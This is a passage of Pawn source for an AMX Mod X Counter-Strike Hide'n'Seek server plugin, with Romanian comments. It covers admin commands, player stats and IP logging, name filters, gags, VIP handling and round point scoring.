	register_concmd("amx_resetstats", "cmdResetStats")
	register_concmd("amx_vipstats", "VipStats")
	register_concmd("amx_cleanmod", "CleanMod")
	register_concmd("amx_addblacklist", "AddBlackList")
	register_concmd("amx_blacklist", "BlackList")
	register_concmd("amx_destroy", "cmdExterminate", ADMIN_CVAR, "<nume / #userid>")
	register_concmd("amx_exterminate", "cmdExterminate", ADMIN_CVAR, "<nume / #userid>")
	register_concmd("amx_showstats", "cmdPlayerInfo", ADMIN_KICK, "< Detalii despre jucatori >")
	register_concmd("amx_showip", "cmdPlayerInfo", ADMIN_KICK, "< Detalii despre jucatori >")
	register_concmd("amx_gag", "cmdAmxGag", ADMIN_KICK, "<nume | @ALL> <durata> <motiv>")
	register_concmd("amx_ungag", "cmdAmxUnGag", ADMIN_KICK, "<nume | @ALL>")
	register_concmd("amx_last", "cmdLastIP", ADMIN_KICK, "<Ultimele ip-uri ale jucatoriilor>")
	register_concmd("amx_lastip", "cmdLastIP", ADMIN_KICK, "<Ultimele ip-uri ale jucatoriilor>")
	
	/** Cvars **/
	register_cvar("hnsf_minim_players", "4")				// Jucatori minimi pentru a incepe modul HNS
	register_cvar("hnsf_terohunt_points", "3")				// Cate puncte ii dam celui care il ia pe TeroHunt ?
	register_cvar("hnsf_round_points", "1")					// Cate puncte ia daca rezista o runda
	register_cvar("hnsf_frags_max", "3")					// Cate fraguri sa faca pentru X puncte
	register_cvar("hnsf_gcuvant_puncte", "3")				// Puncte pentru generarea cuvatului.
	register_cvar("hnsf_ore_slot", "25")					// Care ore trebuie ca sa ia slot prin comanda /slotme
	register_cvar("hnsf_zile_inactive", "5")				// Dupa cate zile de inactivitate sa te stearga din top ?
	register_cvar("hnsf_ping_maxim", "100")					// Pingul maxim permis pe server (fara sa-i dea kick)
	
	/* Events */
	register_forward(FM_ClientUserInfoChanged, "ClientUserInfoChanged")
	register_logevent("StartRound", 2, "1=Round_Start")
	register_logevent("EndRound", 2, "1=Round_End")
	register_event("DeathMsg", "Kill_Death", "a")
	register_event("TextMsg", "Game_Commencing", "a", "2=#Game_Commencing")
	register_event("CurWeapon", "Schimba_Arma", "be")
	register_event("ResetHUD", "ScoreAttrib", "be")
	
	/* RegisterHam */
	RegisterHam(Ham_Spawn,"player","fwd_spawn",1)
	
	/* Menu */
	menuConfirmareSlot = register_menuid("menuConfirmareSlot")
	menuConfirmareVip = register_menuid("menuConfirmareVip")
	register_menucmd(menuConfirmareSlot, 1023, "PUBmenuConfirmareSlot")
	register_menucmd(menuConfirmareVip, 1023, "PUBmenuConfirmareVip")
	
	/* Fisier de baza */
	get_datadir(sFolder, 127)
	add(sFolder, 127, FAST_FOLDER)
	if (!dir_exists(sFolder))
		mkdir(sFolder)
	format(sBackUp, 127, "%s/bkup_", sFolder)
	format(sStatsLog, 127, "%s/stats_", sFolder)
	format(sChatLogFolder, 127, "%s/chat_", sFolder)
	format(sStatsFile, 127, "%s%s", sFolder, STATS_FILE)
	format(sCleanMod, 127, "%s%s", sFolder, CLEANMOD_LOG)
	format(sBlackList, 127, "%s%s", sFolder, BLACKLIST_FILE)
	format(sExtLog, 127, "%s%s", sFolder, EXTERMINATE_LOG)
	format(sAtf, 127, "%s%s", sFolder, ATF_SALVARE)
	format(sLastMaps, 127, "%s%s", sFolder, LAST_MAPS)
	format(sAdminSay, 127, "%s%s", sChatLogFolder, ADMIN_SAY)
	format(sLastIp, 127, "%s%s", sFolder, LAST_IP)
	format(sGcLog, 127, "%s%s", sFolder, GC_LOG)
	/* Creeaza fisierele */
	if (!FileStatus(sStatsFile))
	{
		write_file(sStatsFile, ";* Model salvare !!", -1)
		write_file(sStatsFile, ";* ^"Nume^" ^"Parola^" ^"PlayerTime^" ^"UnixLast^" ^"LastIP^" ^"DateLast^" ^"Kills^" ^"HeadShot^" ^"Round^" ^"Death^" ^"Suicide^" ^"Normal/Slot/Vip^" ^"VipStart^" ^"DurataVip^" ^"VipGrad^" ^"VipEnd^"", -1)
		write_file(sStatsFile, "!^"LastUpdate^" ^"0^"", -1)
		write_file(sStatsFile, "", -1)
	}
	//
	if (!FileStatus(sCleanMod))
	{	
		write_file(sCleanMod, "! CLEANMOD LOG = HNS.LEGENDCS.COM = mikeee. !", -1)
	}
	//
	if (!dir_exists(sBackUp))
		mkdir(sBackUp)
	//
	if (!FileStatus(sBlackList))
	{
		write_file(sBlackList, "; Model: ^"Latitudine Longitudine^" ^"Ip^" ^"Player^" ^"Durata^"", -1)
		write_file(sBlackList, "", -1)
	}
	//
	if (!dir_exists(sStatsLog))
		mkdir(sStatsLog)

	new data[32], temp[128], map[64]
	get_mapname(map, 63)
	get_time("%d.%m.%Y", data, 31)
	format(sStatsLog, 127, "%s/l_%s.log", sStatsLog, data)
	get_time("%H:%M:%S", data, 31)
	
	FileStatus(sStatsLog)
	format(temp, 127, "----- LOG START ----- [%s] ----- [%s] -----", map, data)
	write_file(sStatsLog, "--------------------------------------------------------------------------------------------------------------------------", -1)
	write_file(sStatsLog, temp, -1)
	write_file(sStatsLog, "--------------------------------------------------------------------------------------------------------------------------", -1)
	//
	if (!FileStatus(sExtLog))
	{
		write_file(sExtLog, "-> EXTERMINATE LOG -> mikeeee.->", -1)
		write_file(sExtLog, "", -1)
	}
	//
	if (FileStatus(sAtf))
	{
		delete_file(sAtf)
	}
	if (str_to_num(ADMINS_TO_FORUM))
	{
		get_time("%d.%m.%Y %H:%M:%S", data, 31)
		format(temp, 255, "[center]Ultimul update a fost facut pe data %s", data)
		write_file(sAtf, temp, -1)
		write_file(sAtf, "Lista adminiilor/sloturilor/vipurilor de pe serverul HNS.LEGENDCS.COM", -1)
	}
	//
	if (!dir_exists(sChatLogFolder))
		mkdir(sChatLogFolder)
	//
	if (str_to_num(GAG_STATUS))
	{
		if (!FileStatus(sAdminSay))
		{
			write_file(sAdminSay, "-> ADMIN SPECIAL SAY ->", -1)
			write_file(sAdminSay, "", -1)
		}
		get_time("%d.%m.%Y", data, 31)
		format(sRegSay, 127, "%s/c_%s.log", sChatLogFolder, data)
		format(temp, 255, "- CHAT LOG - [%s] - %s -", map, data)
		write_file(sRegSay, "", -1)
		write_file(sRegSay, temp, -1)
		write_file(sRegSay, "", -1)
	}
	//
	if (str_to_num(LASTIP_STATUS))
	{
		if (FileStatus(sLastIp))
		{
			new lFile[256]
			new oFile = fopen(sLastIp, "r")
			for(new i=0;i < LASTIP_RECORD;i++)
			{
				if (!feof(oFile))
				{
					fgets(oFile, lFile, 255)
					if (strlen(lFile) >  2)
					{
						copy(LastIP[LastIPNum], 255, lFile)
						LastIPNum++
					}
				}
			}
			if (LastIPNum != 0)
			{
				parse(LastIP[LastIPNum-1], LastNume, 31)
			}
			fclose(oFile)
		}
		else
		{
			write_file(sLastIp, "", 0)
		}
	}
	//
	FileStatus(sGcLog)
	get_time("%d.%m.%Y %H:%M:%S", data, 31)
	format(temp, 127, "--- GENERATOR CUVINTE -- LOG WINNER -- [%s] -- [%s] --", data, map)
	write_file(sGcLog, temp, -1)
	
	/* Last Maps */
	if (str_to_num(LAST_MAPS_STATUS))
	{
		new xTemp[32], xCurentMap[34]
		get_mapname(xCurentMap, charsmax(xCurentMap))
		new xLastFile = fopen(sLastMaps, "rt")
		if(xLastFile) 
		{
			for(new i=0; i<5; i++)
				if(!feof(xLastFile)) 
				{
					fgets(xLastFile, xTemp, charsmax(xTemp))
					replace(xTemp, charsmax(xTemp), "^n", "")
					format(xLastMaps, charsmax(xTemp), xTemp)
				}
			fclose(xLastFile)
		}
		delete_file(sLastMaps)
		xLastFile = fopen(sLastMaps, "wt")
		if(xLastFile) 
		{
			format(xTemp, 33, "%s^n", xCurentMap)
			fputs(xLastFile, xTemp)
			for(new i=0; i<5-1; i++) 
			{
				xCurentMap = xLastMaps
				if(!xCurentMap[0])
					break
				format(xTemp, 33, "%s^n", xCurentMap)
				fputs(xLastFile, xTemp)
			}
			fclose(xLastFile)
		}
	}
	
	/* Update Top Ore/Jucatori */
	set_task(60.0, "UpdateTop", _,_,_, "b")
	UpdateTop()
	
	/* SpecInfo */
	set_task(0.1, "specKeyUpdate", _, _, _, "b")
	set_task(1.0, "specSpecUpdate", _, _, _, "b")
	register_forward(FM_PlayerPreThink, "fwdPlayerPreThink")
	
	// FIX
	new szModel[2], iEntity = get_maxplayers(), iMaxEntities = get_global_int(GL_maxEntities)
	while(++iEntity <= iMaxEntities) 
		if(is_valid_ent(iEntity) && entity_get_int(iEntity, EV_INT_rendermode) == kRenderGlow)
		{
			entity_get_string(iEntity, EV_SZ_model, szModel, 1)
			if(szModel[0] == '*')
				entity_set_int(iEntity, EV_INT_rendermode, kRenderNormal)
		}
		
	// Regex
	new error[2]
	g_IP_pattern = regex_compile(REGEX_IP_PATTERN, g_regex_return, error, sizeof(error) - 1)
	
	/* Other */
	IncarcaLocatiileRestrictionate()
	if (str_to_num(ADMINS_TO_FORUM))
		AdminsToForumUpdate()
	if (str_to_num(PING_CHECKER))
		set_task(PING_SEC_CHECK, "pingChecker", _, _, _, "b")
	
	set_task(180.0, "GenerareCuvant", TASK_GCUVINTE, _, _, "b")
	set_task(70.0, "PluginMessage", _, _, _, "b")
	gcLast = time()
	if (str_to_num(CLEAN_MOD_STATUS))
		set_task(300.0, "CleanMod", 0, _, _, "b")
}

public plugin_cfg()
{
	get_pcvar_string(get_cvar_pointer("amx_password_field"), PwFieldServer, 9)
	cvMinimPlayers 			= get_pcvar_num(get_cvar_pointer("hnsf_minim_players"))
	cvTeroHuntPoints 		= get_pcvar_num(get_cvar_pointer("hnsf_terohunt_points"))
	cvRoundPoints 			= get_pcvar_num(get_cvar_pointer("hnsf_round_points"))
	cvFragsMax 				= get_pcvar_num(get_cvar_pointer("hnsf_frags_max"))
	cvGCuvantPuncte 		= get_pcvar_num(get_cvar_pointer("hnsf_gcuvant_puncte"))
	cvInactiveDay 			= get_pcvar_num(get_cvar_pointer("hnsf_zile_inactive"))
	cvOreSlot 				= get_pcvar_num(get_cvar_pointer("hnsf_ore_slot"))
	cvMaxPing 				= get_pcvar_num(get_cvar_pointer("hnsf_ping_maxim"))
}

public plugin_precache()
{
	precache_model("models/player/HNSXX_VIP/HNS_VIP.mdl")
	precache_model("models/player/HNSXX_VIP_CT/Hns_VipCT.mdl")
	
	precache_model("models/player/HNSXX_TeroHunt/HNS_TeroHunt.mdl")
}
public fwd_spawn(id)
{
	if(is_user_alive(id) && get_user_flags(id) & ADMIN_VIP)
	{
		if(get_user_team(id) == 1)
		{
			cs_reset_user_model(id)
			cs_set_user_model(id, "HNSXX_VIP")
		}
		else if(get_user_team(id) == 2)
		{
			cs_reset_user_model(id)
			cs_set_user_model(id, "HNSXX_VIP_CT")
		}
}

public PluginMessage()
{
	new RanMsg = random_num(0, 7), xP[32], xN
	get_players(xP, xN, "c")
	for (new i=0;i < xN;i++)
	{
		switch(RanMsg)
		{
			case 0: xColor(xP, "Tasteaza!t /lvl!n pentru a afla informatii despre levelul tau.")
			case 1: xColor(xP, "Tasteaza!t /infolevel!n pentru informatii despre levele.")
			case 2: 
			{
				if (!(get_user_flags(xP) & ADMIN_RESERVATION))
				{
					new Ore = plTime[xP][0] + get_user_time(xP, 1)
					if (Ore >= 3600 * cvOreSlot)
						xColor(xP, "Ai peste!g %d!n ore. Poti folosi comanda!t /slotme!n pentru slot pe server.", cvOreSlot)
					else
						xColor(xP, "La!g %d!n ore poti folsi comanda!t /slotme!n pentru slot pe server.", cvOreSlot)
				}
			}
			case 3:
			{
				if (!IsVip(xP))
					xColor(xP[i], "La!g %d!n ore, poti folosi comanda!g /vipme!n pentru VIP G:!g%d!n][!g%d!n zile!n].", ORE_VIP_ME, VIP_ME_GRAD, DURATA_VIP_ME)
				else
					xColor(xP[i], "Tasteaza!t /vipinfo!n pentru informatii despre VIP-ul tau.")
			}
			case 4: xColor(xP[i], "Tasteaza!t /ore!n pentru a vedea orele tale pe acest server.")
			case 5: xColor(xP[i], "Tasteaza!t /topjucatori!n sau!t /topore!n pentru topurile serverului.")
			case 6: xColor(xP[i], "Tasteaza!t /rankme!n pentru a vedea rankul tau pe acest server.")
			case 7: xColor(xP[i], "Tasteaza!t /rs!n daca ai scorul pe!g --!n.")
			default: xColor(xP[i], "Nu uita sa adaugi serverul la favorite.!t HNS.LEGENDCS.COM!n.")
		}
	}
}

/* ==========================================================================================
===================================================== Conectare Jucator
========================================================================================== */
public client_authorized(id)
{
	if (!is_user_bot(id))
	{
		new Nume[32], tempNume[32]
		get_user_name(id, Nume, 31)
		copy(tempNume, 31, Nume)
		strtoupper(tempNume)
		if (str_to_num(BLOCK_NAME))
		{
			if (strlen(Nume) < NUME_MIN_CHR)
			{
				server_cmd("kick #%d ^"Numele trebuie sa aiba minim [%d] caractere.^"", get_user_userid(id), NUME_MIN_CHR)
				return PLUGIN_HANDLED
			}
			if (strlen(Nume) > NUME_MAX_CHR)
			{
				server_cmd("kick #%d ^"Numele trebuie sa aiba maxim [%d] caractere.^"", get_user_userid(id), NUME_MAX_CHR)
				return PLUGIN_HANDLED
			}
			for (new i=0;i < sizeof(sayReclama);i++)
			{
				strtoupper(sayReclama[i])
				if (contain(tempNume, sayReclama[i]) !=-1)
				{
					server_cmd("kick #%d ^"Numele tau contine [%s]. Schimbal si revino^"", get_user_userid(id), sayReclama[i])
					return PLUGIN_HANDLED
				}
			}
			for (new i=0;i < sizeof(sayLimbaj);i++)
			{
				strtoupper(sayLimbaj[i])
				if (contain(tempNume, sayLimbaj[i]) !=-1)
				{
					server_cmd("kick #%d ^"Numele tau contine [%s]. Schimbal si revino^"", get_user_userid(id), sayLimbaj[i])
					return PLUGIN_HANDLED
				}
			}
		}
		
		VerificareUser(id)
		LastUserCheck[id] = time()
		ptPlStats[id][0] = 0
		ptPlStats[id][1] = 0
		sLastChTime[id]  = 0
		MessageMode[id]	 = false
		medicLast[id]    = 0
		medicBlock[id]   = 0
		afkOrigin[id][0] = 0
		afkOrigin[id][1] = 0
		afkOrigin[id][2] = 0
		afkTime[id] 	 = AFK_TIME
		afkStopAFK[id]	 = 0
		MaxPlayerFPS[id] = 0
		Fps_Warn[id] 	 = 0
		cl_prefs[id] 	 = 0
		pingCheck[id]	 = 0
		afkCount[id]	 = 0
		gagPlayer[id] 	 = false
		format(LastMessage[id][1], 63, "")
		
		cl_prefs[id] 	|= FL_KEYS
		cl_prefs[id] 	|= FL_LIST
		cl_prefs[id] 	|= FL_OWNKEYS
		copy(cl_names[id], 20, Nume)
		copy(plNume[id], 31, Nume)
	}
	return PLUGIN_HANDLED
}

public client_putinserver(id)
{
	if (!is_user_bot(id))
	{
		new Nume[32], tForm[256], tGrad[32], find=false, ip[32]
		get_user_name(id, Nume, 31)
		get_user_ip(id, ip, 31, 1)
		//
		if (str_to_num(RETRY_STATUS))
		{
			if (!SpecialAcces(id, Nume, false))
			{
				new sid = jointeamStatus(id, false)
				if (sid >= 0)
				{
					jointeamRetry[sid]++
					if (jointeamRetry[sid] >= RETRY_MAX)
					{
						jointeamBan(id)
					}
					else
					{
						xColor(0, "Jucatorul!g %s!n a dat retry [!g%d!n/!g%d!n]. Il voi trimite inapoi la echipa!t %s!n.", Nume, jointeamRetry[sid], RETRY_MAX, TeamName[jointeamTeam[sid]])
						set_task(5.0, "jointeamMove", id + TASK_ENTRY_JOINTEAM)
					}
				}
			}
		}
		//
		if (str_to_num(BLACKLIST_STATUS))
		{
			if (IsRestricted(ip))
			{
				KickRestricted(id)
				xColor(0, "Jucatorul!t %s!n(!t%s!n) are restrictie pe server.", Nume, ip)
			}
		}
		//
		new lvl = CalculateLevel(id), xp = CalculateStats(id)
		format(tForm, 255, "[JUCATOR]")
		for (new i=0;i < sizeof(whoGrad);i++)
		{
			if (get_user_flags(id) == read_flags(whoGrad[i]))
			{
				copy(tGrad, 31, whoDenumire[i])
				replace_all(tGrad, 31, "-", "")
				strtoupper(tGrad)
				format(tForm, 255, "[%s]", tGrad)
				find=true
				break
			}
		}
		if (!find)
		{
			if (plAcces[id] == 2)
				format(tForm, 255, "[VIP G:!g%d!n ]", plVipInfo[id][2])
		}
		if (!equal(tForm, "[JUCATOR]") || lvl > 4)
		{
			format(tForm, 255, "%s!g %s!n", tForm, Nume)
			if (lvl == 20)
				format(tForm, 255, "%s [LVL:!g%d!n (!g%d!n XP)]", tForm, lvl, xp)
			else
				format(tForm, 255, "%s [LVL:!g%d!n (!g%d!n/!g%s!n XP)] a intrat pe server.", tForm, lvl, xp, LevelXP[lvl+1])
			xColor(0, tForm)
		}
		if (str_to_num(CLAN_ON))
			if (contain(Nume, TAG_CLAN) != -1)
				if (!(get_user_flags(id) & ADMIN_RESERVATION))
					server_cmd("kick #%d ^"Nu ai voie cu tagul clanului HNS.LEGENDCS.COM. TAG: %s^"", get_user_userid(id), TAG_CLAN)
		set_task(10.0, "MesajIntampinare", id + TASK_PUTINSERVER)
		// Gag
		if (str_to_num(GAG_STATUS))
		{
			new dNume[32], dTimp[32], dDurata[10], dMotiv[126], cTime[4], fSay[256], slot = gagVerifica(id)
			if (slot != 0)
			{
				parse(gagDetails[slot], dNume, 31, dTimp, 31, dDurata, 9, dMotiv, 125)
				ConvertTime((str_to_num(dTimp) + (str_to_num(dDurata) * 60) - time()), cTime, false)
				format(fSay, 255, "Jucatorul!g %s!n s-a reconectat cand avea gag. Timp ramas gag:", Nume)
				if (cTime[2] > 0 || cTime[1] > 0)
					format(fSay, 255, "%s!g %d!n minut%s", fSay, cTime[2], cTime[2] == 1 ? "" : "e")
				format(fSay, 255, "%s!g %d!n secund%s", fSay, cTime[3], cTime[3] == 1 ? "a" : "e")
				xColor(0, fSay)
				set_speak(id, SPEAK_MUTED)
				gagPlayer[id] = true
			}
		}
	}
}

public client_disconnect(id)
{
	if (!is_user_bot(id))
	{
		if (str_to_num(LASTIP_STATUS))
			lastAdd(id)
		LastUserCheck[id] = time()
		new Nume[32]
		get_user_name(id, Nume, 31)
		//
		if (str_to_num(RETRY_STATUS))
		{
			if (!SpecialAcces(id, Nume, false))
			{
				new sid = jointeamStatus(id, false)
				if (sid < 0)
				{
					jointeamStatus(id, true)
				}
			}
		}
		//
		if (id == ptTeroHunt)
		{
			new tLvl = CalculateLevel(ptTeroHunt), gVip = IsVip(ptTeroHunt), gPoint = CalculatePoints(ptTeroHunt)
			xColor(0, "TeroHunt!g %s!n[!g%d!n] a fugit de pe server.", Nume, tLvl)
			plStats[id][3] = plStats[id][3] + (cvTeroHuntPoints * (str_to_num(LevelUpFaster[tLvl]) + str_to_num(VipUpFaster[gVip]) + str_to_num(PointUpFaster[gPoint])))
			ResetTeroHunt(id, false)
		}
		//
		new tForm[256], tGrad[32], find=false
		new lvl = CalculateLevel(id), xp = CalculateStats(id)
		format(tForm, 255, "[JUCATOR]")
		for (new i=0;i < sizeof(whoGrad);i++)
		{
			if (get_user_flags(id) == read_flags(whoGrad[i]))
			{
				copy(tGrad, 31, whoDenumire[i])
				replace_all(tGrad, 31, "-", "")
				strtoupper(tGrad)
				format(tForm, 255, "[%s]", tGrad)
				find=true
				break
			}
		}
		if (!find)
		{
			if (plAcces[id] == 2)
				format(tForm, 255, "[VIP G:!g%d!n] ]", plVipInfo[id][2])
		}
		if (!equal(tForm, "[JUCATOR]") || lvl > 4)
		{
			format(tForm, 255, "%s!g %s!n", tForm, Nume)
			if (lvl == 20)
				format(tForm, 255, "%s [LVL:!g%d!n (!g%d!n XP)]", tForm, lvl, xp)
			else
				format(tForm, 255, "%s [LVL:!g%d!n (!g%d!n/!g%s!n XP)] s-a deconectat.", tForm, lvl, xp, LevelXP[lvl+1])
			xColor(0, tForm)
		}
		// Gag
		if (str_to_num(GAG_STATUS))
		{
			new slot = gagVerifica(id)
			if (slot != 0)
				xColor(0, "Jucatorul!g %s!n avea gag si s-a deconectat", Nume)
		}
		SalvareStatistici(id, "", get_user_time(id, 1))
		remove_task(id + TASK_ITEMS)
		remove_task(id + TASK_ROUND_ITEMS)
		remove_task(id + TASK_MESSAGE_MODE)
		remove_task(id + TASK_SLOTME_PW)
		remove_task(id + TASK_ENTRY_JOINTEAM)
		
	}
}

public ClientUserInfoChanged(id, buffer)
{
	static NumeVechi[32], NumeNou[32] 
	pev(id, pev_netname, NumeVechi, 31) 
	if(NumeVechi[0]) 
	{ 
		get_user_info(id, "name", NumeNou, 31) 
		if(!equal(NumeVechi, NumeNou)) 
		{ 
			set_user_info(id, "name", NumeVechi) 
			xColor(id, "Nu este permisa schimbarea numelui pe acest server.")
			console_print(id, "Nu este permisa schimbarea numelui pe acest server.")
			return FMRES_HANDLED 
		} 
	} 
	return FMRES_IGNORED
}

public MesajIntampinare(tid)
{
	new cTime[4], id = tid - TASK_PUTINSERVER
	if (is_user_connected(id))
	{
		new Nume[32], ip[32]
		get_user_name(id, Nume, 31)
		get_user_ip(id, ip, 31, 1)
		// Afk Ckeck
		if (get_user_team(id) == 0)
		{
			if (!SpecialAcces(id, Nume, false))
			{
				afkKick(id)
				return PLUGIN_HANDLED
			}
		}

		//
		if (plTime[id][0] < 1)
		{
			xColor(id, "Salut, bine ai venit pe serverul!g HNS.LEGENDCS.COM!n. Nu uita sa-l adaugi la favorit")
			xColor(id, "!nAcest server foloseste LevelMod creeat de catre !gfasT!n si editat de !gmikeee.")
		}
		else
		{
			ConvertTime(plTime[id][0] + get_user_time(id, 1) - sLastChTime[id], cTime, false)
			xColor(id, "Ai!g %d!n or%s si!g %d!n minut%s jucate pe server. Ultima intrare!g %s!n (!g%s!n)", cTime[1], cTime[1] == 1 ? "a" : "e", cTime[2], cTime[2] == 1 ? "" : "e", plLast[id], plLastIP[id])
		}
		if (plAcces[id] == 2)
		{
			SetModel(id, true)
			Schimba_Arma(id)
			ScoreAttrib(id)
			new expDay = plVipInfo[id][0] + (86400 * plVipInfo[id][1]) - time()
			if (expDay <= (86400 * ZILE_ANUNT_EXPIRARE))
			{
				ConvertTime(expDay, cTime, true)
				xColor(id, "VIP-ul tau expira in!g %d!n zi%s!g %d!n or%s!g %d!n minut%s. (!g%s!n)", cTime[0], cTime[0] == 1 ? "" : "le", cTime[1], cTime[1] == 1 ? "a" : "e", cTime[2], cTime[2] == 1 ? "" : "e", plVipEnd[id])
			}
			else
			{
				xColor(id, "VIP-ul tau expira pe data (!g%s!n)", plVipEnd[id])
			}
			if (expDay < 3600)
			{
				new sTask[10]
				format(sTask, 9, "%d", expDay)
				new Float:TaskRemoveVip = floatstr(sTask)
				set_task(TaskRemoveVip, "DezactivezaVipOnline", id + TASK_REMOVE_VIP)
			}
		}
		else
		{
			ResetModel(id)
		}
		if (str_to_num(FURT_DE_IDENTITATE))
		{
			if (!CheckFraud(id, plLastIP[id]) && str_to_num(VERIFICA_JUCATOR))
			{
				client_cmd(0, "spk woop;wait;spk warning")
				xColor(0, "Furt de indentitate.!t %s!n. Last:!t %s!n - New:!t %s!n.", Nume, plLastIP[id], ip)
				xColor(0, "Statisticile lui!g %s!n nu vor fi salvate.", Nume)
			}
		}
	}
	return PLUGIN_HANDLED
}

public DezactivezaVipOnline(tid)
{
	new Nume[32], id = tid - TASK_REMOVE_VIP
	get_user_name(id, Nume, 31)

	xColor(id, "VIP-ul tau a expirat. Poti comanda iar pe!g Forum -> HNS -> Comanda VIP.")
	if (AdminStatus(Nume, true, "", 0))
	{
		xColor(id, "Adminul tau a fost reactivat. Asteapta schimbarea hartii.")
	}
	new sAcces = read_flags(SLOT_ACCES)
	remove_user_flags(id)
	set_user_flags(id, sAcces)
	admins_push(Nume, plPass[id], sAcces, read_flags("a"))
	plAcces[id] = 0
}


/* ==========================================================================================
===================================================== Rounds / Kills
========================================================================================== */
public Game_Commencing()
	FirstRound = true

public StartRound()
{
	RoundEnd = false
	if (FirstRound)
	{
		new xP[32], xN, tSend[3]
		get_players(xP, xN, "c")
		TeroLast = true
		
		if (xN < cvMinimPlayers)
			PointStatus = false
		else
			PointStatus = true

		for (new i=0;i < xN;i++)
		{
			if (PointStatus)
			{
				if (is_user_connected(xP[i]))
				{
					if ((plStats[xP[i]][0] > 1 || IsVip(xP[i])) && !(get_user_team(xP[i]) == 3))
					{
						tSend[0] = xP[i]
						tSend[1] = TIME_TO_ITEMS
						tSend[2] = 1
						CountDownTime(tSend)
					}
					new sVip = IsVip(xP[i])
					if (sVip != 0)
					{
						new Float:Speed = str_to_float(VipItemSp[sVip])
						VipSpeed(xP[i], Speed)
					}
					set_task(12.0, "RoundItems", xP[i] + TASK_ROUND_ITEMS)
				}
			}
		}
		if (!PointStatus)
		{
			new nev = cvMinimPlayers - xN
			xColor(0, "Mai este nevoie de!g %d!n jucator%s pentru!g HNS Point/VIP/Level", nev, nev == 1 ? "" : "i")
		}
		else
		{
			if (xN > 14)
				set_task(5.0, "Random_TeroHunt")
			else
				if (2 == random_num(1, 2))
					set_task(5.0, "Random_TeroHunt")
		}
	}
	else
	{
		FirstRound = true
	}
}

public EndRound()
{
	RoundEnd = true
	// GM
	if (PointStatus)
	{
		if (ptTeroHunt != 0)
		{
			if (is_user_alive(ptTeroHunt) && !is_user_bot(ptTeroHunt) && is_user_connected(ptTeroHunt))
			{
				new NumeTeroHunt[32]
				get_user_name(ptTeroHunt, NumeTeroHunt, 31)
				new tLvl = CalculateLevel(ptTeroHunt), gVip = IsVip(ptTeroHunt), gPoint = CalculatePoints(ptTeroHunt)
				xColor(0, "TeroHunt!g %s!n[LVL!g%d!n] a reusit sa scape. Va primi!g %d!n punct%s", \
				NumeTeroHunt, tLvl, cvTeroHuntPoints, cvTeroHuntPoints == 1 ? "" : "e")
				sStats(ptTeroHunt, 0, 0, (1 * (str_to_num(LevelUpFaster[tLvl]) + str_to_num(VipUpFaster[gVip]) + str_to_num(PointUpFaster[gPoint]))), 0, 0)
				aPuncte(ptTeroHunt, cvTeroHuntPoints)
				ResetTeroHunt(ptTeroHunt, true)
			}
		}
	}
		
	new xP[32], xN, pLvl, id, gVip, gPoint
	get_players(xP, xN, "c")
	for (new i=0;i < xN;i++)
	{
		if (is_user_bot(xP[i]) || !is_user_connected(xP[i]))
			continue
		
		id = xP[i]
		if (is_user_alive(id))
		{
			pLvl = CalculateLevel(id)
			gVip = IsVip(id)
			gPoint = CalculatePoints(id)
			cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 0)
			if (get_user_team(id) == 1)
			{
				xColor(id, "[LVL!g %d!n] Ai!g %d!n punct%s. Rezista cat mai mult pentru lvl/puncte.", \
				pLvl, cvRoundPoints + ptPlStats[id][0], (cvRoundPoints + ptPlStats[id][0]) == 1 ? "" : "e")
				sStats(id, 0, 0, (1 * (str_to_num(LevelUpFaster[pLvl]) + str_to_num(VipUpFaster[gVip]) + str_to_num(PointUpFaster[gPoint]))), 0, 0)
				aPuncte(id, cvRoundPoints)
			}
			if (get_user_team(id) == 2)
			{
				xColor(id, "[LVL!g %d!n] Ai!g %d!n punct%s.!g %d!n/!g%d!n fraguri. Omoara cat mai mult pentru lvl/puncte.", \
				pLvl, ptPlStats[id][0], ptPlStats[id][0] == 1 ? "" : "e",  ptPlStats[id][1], cvFragsMax)
			}
		}
	}
}

public Kill_Death()
{
	new Killer = read_data(1)
	new Victim = read_data(2)
	new HeadShot = read_data(3)
	new Weapon[24], NumeKiller[32], NumeVictim[32], TeroHuntLvl, VipHunt, TeroHuntPoint
	read_data(4, Weapon, 23)
	get_user_name(Killer, NumeKiller, 31)
	get_user_name(Victim, NumeVictim, 31)
	new VictimLvl = CalculateLevel(Victim)
	new VipVictim = IsVip(Victim)
	new KillerLvl = CalculateLevel(Killer)
	new VipKiller = IsVip(Killer)
	new KillerPoint = CalculatePoints(Killer)
	new VictimPoint = CalculatePoints(Victim)
	if (ptTeroHunt != 0)
	{
		TeroHuntLvl = CalculateLevel(ptTeroHunt)
		VipHunt = IsVip(ptTeroHunt)
		TeroHuntPoint = CalculatePoints(ptTeroHunt)
	}
	
	if (PointStatus)
	{
		/* Kill / Suicide / OutOfMap */
		if (Killer == 0 || Killer == Victim)
		{
			/* TeroHunt */
			if (Victim == ptTeroHunt)
			{
				xColor(0, "TeroHunt!g %s!n[LVL!g %d!n] s-a sinucis. Va avea!g +%d!n sinucideri.", NumeVictim, VictimLvl, 1 * (str_to_num(LevelUpFaster[TeroHuntLvl]) + str_to_num(VipUpFaster[VipHunt]) + str_to_num(PointUpFaster[TeroHuntPoint])))
				ResetTeroHunt(Victim, true)
				sStats(Victim, 0, 0, 0, 0, (1 * (str_to_num(LevelUpFaster[TeroHuntLvl]) + str_to_num(VipUpFaster[VipHunt]) + str_to_num(PointUpFaster[TeroHuntPoint]))))
			}
			else
			{
			/* Normal */
				sStats(Victim, 0, 0, 0, 0, (1 * (str_to_num(LevelUpFaster[VictimLvl]) + str_to_num(VipUpFaster[VipVictim]) + str_to_num(PointUpFaster[VictimPoint]))))
			}
			xColor(Victim, "Te-ai sinucis. S-au resetat punctele si ai!g +%d!n sinucideri.", 1 * (str_to_num(LevelUpFaster[VictimLvl]) + str_to_num(VipUpFaster[VipVictim]) + str_to_num(PointUpFaster[VictimPoint])))
			rPuncte(Victim)
		}
		else
		{
		/* Is victim */
			if (Victim == ptTeroHunt)
			{
				xColor(0, "TeroHunt!g %s!n[LVL!g %d!n] a fost omorat de!g %s!n[LVL!g %d!n]. A primit!g %d!n punct%s.", \
				NumeVictim, VictimLvl, NumeKiller, KillerLvl, cvTeroHuntPoints, cvTeroHuntPoints == 1 ? "" : "e")
				
				xColor(Victim, "!g%s!n te-a omorat. Ti-am resetat punctele si ai!g +%d!n death-uri.", \
				NumeKiller, (1 * (str_to_num(LevelUpFaster[VictimLvl]) + str_to_num(VipUpFaster[VipVictim]) + str_to_num(PointUpFaster[VictimPoint]))))
				aPuncte(Killer, cvTeroHuntPoints)
